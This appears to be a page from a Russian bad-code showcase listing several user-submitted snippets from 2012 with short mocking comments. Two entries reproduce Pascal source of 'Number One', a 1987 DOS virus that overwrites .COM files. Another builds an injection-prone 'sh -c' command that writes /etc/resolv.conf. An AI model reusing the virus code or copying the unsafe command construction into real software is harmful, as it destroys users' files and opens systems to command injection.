1. JavaScript / Говнокод #10546

    +152

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    ISQ.Widget.Query.keyUpHandler=function(c){
        var b=c||window.event;
        if(!ISQ.Widget.userActive){
    	return
        }
        if(typeof(b.keyCode)!="unknown"&&ISQ.Widget.Query.ignoreKeyCodes[b.keyCode]){
    	return false
        }
        if(ISQ.Cnf.limited&&ISQ.Widget.state!==ISQ.Widget.enumState.contactForm){
    	return false
        }
        if(ISQ.Widget.state===ISQ.Widget.enumState.customLink){
    	ISQ.Widget.state=ISQ.Widget.enumState.questions
        }
        ISQ.Widget.Query.clearQuestionTrail();
        var a=_query(false);
        if(ISQ.Widget.Query.lastQueryWritten!=a){
    	ISQ.Widget.Query.analyzeQuery(a)
        }
        return false
    };

    По поводу уверенных программистов (явно задел на будущее, а вдруг добаят).

    wvxvw, 04 Июня 2012

    Комментарии (16)
  2. C++ / Говнокод #10544

    −29

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    template<class TValueChanger>
        NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger& ValueChanger)
        {
            return ValueChanger(Arc);
        }
    
        template<class TValueChanger>
        NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger& ValueChanger)
        {
            return ValueChanger(Line);
        }
    
    template<class TValueChanger1, class TValueChanger2>
        NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2)
        {
            return ValueChanger2(ValueChanger1(Arc));
        }
    
        template<class TValueChanger1, class TValueChanger2>
        NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2)
        {
            return ValueChanger2(ValueChanger1(Line));
        }
    
    //...
    
    template<class TValueChanger1, class TValueChanger2, class TValueChanger3, class TValueChanger4, class TValueChanger5, class TValueChanger6>
        NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2, const TValueChanger3& ValueChanger3, const TValueChanger4& ValueChanger4, const TValueChanger5& ValueChanger5, const TValueChanger6& ValueChanger6)
        {
            return ValueChanger6(ValueChanger5(ValueChanger4(ValueChanger3(ValueChanger2(ValueChanger1(Arc))))));
        }
    
        template<class TValueChanger1, class TValueChanger2, class TValueChanger3, class TValueChanger4, class TValueChanger5, class TValueChanger6>
        NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2, const TValueChanger3& ValueChanger3, const TValueChanger4& ValueChanger4, const TValueChanger4& ValueChanger5, const TValueChanger6& ValueChanger6)
        {
            return ValueChanger6(ValueChanger5(ValueChanger4(ValueChanger3(ValueChanger2(ValueChanger1(Line))))));
        }

    Говногость, 04 Июня 2012

    Комментарии (15)
  3. 1C / Говнокод #10543

    −119

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    Если ПроверятьСкидкиРассчитаны И
            ИспользоватьАвтоматическиеСкидки И
            Не ДокументПродажи.СкидкиРассчитаны И
            ДокументПродажи.ХозяйственнаяОперация <> Перечисления.ХозяйственныеОперации.ПередачаНаКомиссию Тогда
        ПроверятьСкидкиРассчитаны = Истина;
    КонецЕсли;

    Управление торговлей (11-я редакция)

    Argonavt, 04 Июня 2012

    Комментарии (12)
  4. C# / Говнокод #10542

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    private void СтолкновениеСБонусом()// столкновение с бонусом
            {
                for (int i = 0; i < бонус.Count; i++)
                {
                    if (Math.Abs(packMan.x - бонус[i].x) <= 19 && (packMan.y == бонус[i].y)
                        ||
                        (packMan.x == бонус[i].x) && Math.Abs(packMan.y - бонус[i].y) <= 19
                        ||
                        Math.Abs(packMan.x - бонус[i].x) <= 19 && Math.Abs(packMan.y - бонус[i].y) <= 19
                        )
                    {
                        бонус.Remove(бонус[i]);//удаляем бонус
                        fl1 = false;//ставим в ложь и привидения прекрашают движение
                        //Labe2();
                        _tm1.Enabled = true;//таймер включен, хоть он и так включен
                        
                        _tm1.Start();//старт таймера
                    }
                }
            }

    Автор кода недоумевает, как код сделать еще читабельнее :facepalm:
    Комментарии доставляют :)
    Тема на форуме http://www.cyberforum.ru/csharp-beginners/thread586090.html

    psina-from-ua, 04 Июня 2012

    Комментарии (3)
  5. C++ / Говнокод #10541

    −28

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    command = QString("sh -c \"echo \"nameserver %1\" > /etc/resolv.conf\"")
                  .arg(nameserver.toString());
    
    QProcess process;
    process.start(command);

    Zielscheibe, 04 Июня 2012

    Комментарии (8)
  6. Си / Говнокод #10540

    +142

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    if (!menu) error(E_NOMEM);    /* add titles and items */
      if ((mn_addtitle(menu, "file",     0, 0,           0) != 0)
      ||  (mn_additem (menu, "load",     1, mcb_load,    0) != 0)
      ||  (mn_additem (menu, "save",     0, mcb_save,    0) != 0)
      ||  (mn_additem (menu, "mpost",    0, mcb_mpost,   0) != 0)
      ||  (mn_additem (menu, NULL,       0, 0,           0) != 0)
      ||  (mn_additem (menu, "quit",     0, mcb_quit,    0) != 0)
      ||  (mn_addtitle(menu, "actions",  0, 0,           0) != 0)
      ||  (mn_additem (menu, "init",     0, mcb_init,    0) != 0)
      ||  (mn_additem (menu, "start",    2, mcb_start,   0) != 0)
      ||  (mn_additem (menu, "stop",     4, mcb_start,   0) != 0)
      ||  (mn_additem (menu, NULL,       0, 0,           0) != 0)
      ||  (mn_additem (menu, "view",     0, mcb_view,    0) != 0)
      ||  (mn_additem (menu, "redraw",   0, mcb_redraw,  0) != 0)
      ||  (mn_addtitle(menu, "settings", 0, 0,           0) != 0)
      ||  (mn_additem (menu, "grid",     1, mcb_grid,    0) != 0)
      ||  (mn_additem (menu, "params",   0, mcb_params,  0) != 0)
      ||  (mn_addtitle(menu, "help",     0, 0,           0) != 0)
      ||  (mn_additem (menu, "about",    0, mcb_about,   0) != 0)
      ||  (mn_addtitle(menu, NULL,       0, 0,           0) != 0))
        error(E_WIDGET);
      mn_resize (menu, INITXEXT);   /* set width of menu bar */
      mn_visible(menu, MN_ITEMS, 3);/* show/hide      menu items */
      mn_enable (menu, MN_ITEMS, 3);/* enable/disable menu items */

    Кусок кода из программы http://www.borgelt.net/doc/somd/somd.html для визуализации SOM. Эпичная проверка условий!

    betastat, 04 Июня 2012

    Комментарии (3)
  7. Pascal / Говнокод #10539

    +102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    { Infected it}
    BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
    Close(Go);
    { Say what has been done}
    WriteLn(UsePath +' infected.');
    Halt; {... and HALT the program}
    End;
    Close(Go);
    End;
    {The file has already been infected, search next}
    Reg.AH:=$4F;
    Reg.DS Seg(DTA);
    Reg.DX Ofs(DTA);
    MsDos(Reg)
    {... Until no more files found}
    Until Odd(Reg.Flags);
    Write(''); { Give a smile}
    End.

    http://www.liveinternet.ru/users/gafarov-91/post120984751/

    Вторая часть.

    dos_, 03 Июня 2012

    Комментарии (34)
  8. Pascal / Говнокод #10538

    +94

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    {
    -----------------------------------------------------------------
    
    Number One
    
    This is a very primitiv computer virus.
    
    HANDLE WITH CARE! ----------- demonstration ONLY!
    
    Number One infect all.COM-file in the CURRENT directory.
    A warning message and the infected file's name will be displayed.
    That file has been overwritten with Number One's programm
    code and is not reconstructable!
    If all file s are infected or no .COM-files found, Number
    One gives you a .
    Files may be protected against infections of Number One by
    setting the READ ONLY attribute.
    Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
    (c) 1987 by BrainLab
    ---------------------------------------------------------------------
    }
    {C-}
    {U-}
    {I-} { Do not allow an user Break, enable 10 check}
    {--Constants----------------------------------------------------}
    Const
    VirusSize = 12027; { Number One's code size }
    Warning : String [42] { Warning massage }
    = 'This file has been infected by Number One's;
    
    {--Type declaration----------------------------------------------}
    Type
    DTARec = Record { Date area for }
    DOSnext : Array 1...21 of Byte; { file search }
    Attr : Byte;
    FTime,
    FDate,
    FLsize,
    FHsize : Integer;
    FullName : Array 1...13 of Char;
    End;
    Registers = Record {Register set useed for file search}
    Case Byte of
    1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
    2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
    End;
    {--Variables------------------------------------------------------}
    Var
    ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
    {Infection marker}
    
    MarkInfected : String 42 absolute Cseg: $180;
    Reg : Register; { Register set}
    DTA : DTARec; { Date area}
    
    Buffer :Array [Byte] of Byte; { Date buffer}
    TestID : String 42; {To recognize infected files}
    UsePath : String 66; { Path to search files}
    {Length of search path}
    UsePathLength: Byte absolute UsePath;
    Go : File; { File to infect}
    B : Byte; { Used }
    
    --Program code-------------------------------------------------------
    
    Begin
    WriteLn(Warning); {Display Warning massage}
    GetDir(0,UsePath); { Get current directory}
    
    if Post ('', UsePath ) <> UsePathLengt then
    UsePath:= UsePath + '';
    UsePath:= UsePath + '*.COM'; { Define search mask}
    Reg.AH := $1A; { Set date area}
    Reg.DS Seg(DTA);
    Reg.DX Ofs(DTA);
    MsDos(Reg);
    UsePath Succ(UsePathLength):=0; Path must end with =0
    Reg.AH := $4e;
    Reg.DS := Seg(UsePath);
    Reg.DX := Ofs(UsePath 1);
    Reg.CX :=$ff; {Set attribut to find ALL files}
    MsDos(Reg); { Find the first matching entry}
    If not Odd(Reg.Flags) Then { If a file found then...}
    Repeat
    UsePath:=DTA.FullName;
    B := Pos(#0,UsePath);
    If B> 0 Then
    Delete (UsePath,B,255); { Remove garbage}
    Assign(Go, UsePath);
    Reset(GO);
    If IOresult=0 {If not error then}
    Begin
    BlockRead(Go,Buffer,2);
    Move(Buffer $80,TestID, 43);
    {Test if file is already infected}
    If TestID<> Warning then { If not, then}
    Begin
    Seek(Go,0);
    {Mark file as infected and...}
    MarkInfected:= Warning;

    http://www.liveinternet.ru/users/gafarov-91/post120984751/

    Первая часть.

    dos_, 03 Июня 2012

    Комментарии (17)
  9. JavaScript / Говнокод #10537

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    ISQ.Data.checkString=function(e,f){
        var d=true;
        switch(f){
        case"email":
    	var a=/^[\w-_\&.]+\@([\w-_]+\.[\w-_]+){1,3}$/;
    	var g=new RegExp("[~!#$%^&*()=''\"\\/><?[]{}|]","g");
    	return(e.search(g)===-1)&&(e.match(a))&&(e!=="");
    	break;
        case"number":
    	var b=/^[-]?[0-9]+\.?[0-9]?$/;
    	return b.test(e);
    	break;
        case"username":
    	var c=new RegExp(".+@.+");
    	return(c.test(e));
    	break;
        case"url":
    	var c=new RegExp("^https?://([a-zA-Z0-9]+.){1,}[a-zA-Z0-9]+");
    	return(c.test(e));
    	break
        }
        return d
    }
    
    // Функция универсальной валидации.
    // (Но незадолго до того было еще и)
    
    ISQ.Data.getEmailAddress=function(e){
        var a=/[\w-_\&.]+\@[\w-_]+\.+[\w-_.]+/g;
        var d=e.match(a);
        if(d===null||d.length===0){
    	return null
        }
        var f=new RegExp();
        f.compile("[~!#$%^&*()=`'\"\\/><?[]{}|]","g");
        var b=new Array();
        for(var c=0;c<d.length;++c){
    	if(d[c].search(f)===-1){
    	    b.push(d[c])
    	}
        }
        return b
    }

    Еще одна творческая работа.

    wvxvw, 03 Июня 2012

    Комментарии (5)
  10. C++ / Говнокод #10536

    −30

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    #include <iostream>
    #include <conio.h>
    
    
    using namespace std;
    
    
    char* find(char* str)
    {
    	int i = 0, mlen=0;
    	char* minword = new char[100];
    	char* curword = new char[100];
    	while(str[i]==' ') i++;
    	mlen = i;
    	while((str[mlen]!=' ')&&(str[mlen])) mlen++;
    	mlen -= i;
    	strncpy(minword, str+i, mlen);
    	minword[mlen] = '\0';
    	i += mlen;
    	while(str[i])
    	{		
    		while(str[i]==' ') i++;
    		mlen = i;
    		while((str[mlen]!=' ')&&(str[mlen])) mlen++;
    		mlen -= i;
    		strncpy(curword, str+i, mlen);
    		curword[mlen] = '\0';
    		i += mlen;
    		
    		if(strcmp(minword, curword) > 0)
    		{
    			strcpy(minword, curword);
    		}
    	}
    	return minword;
    }
    
    void del(char*& str, char* str2)
    {
    	int i = 0, j =0, st=0;
    	char* nstr = new char[200];
    	
    	while(str[i])
    	{
    			j = 0;
    			while(str[i]==str2[j])
    			{
    				i++; j++;
    			}
    			if(j==strlen(str2))
    			{
    				strncpy(nstr, str+st, i-j);
    				nstr[i-j] = '\0';
    				st = i;
    				break;
    			}
    			i++;
    	}
    	strcat(nstr, str+st);
    	str = nstr;
    }
    
    
    void sort(char*& str)
    {
    	int len = strlen(str);
    	char* nstr = new char[200];
    	char* buf = new char[200];
    	buf = find(str);
    	strcpy(nstr, buf);
    	del(str, buf);
    	while(strlen(nstr) != len)
    	{
    		buf = find(str);
    		strcat(nstr, " ");
    		strcat(nstr, buf);
    		del(str, buf);
    	}
    	nstr[len] = '\0';
    	str = nstr;
    }
    
    
    
    void main()
    {
    	char* str = new char[200];
    	str = "my little pony";
    	sort(str);
    	cout<<str;
    }

    Из вузовского компьютера.

    dos_, 03 Июня 2012

    Комментарии (18)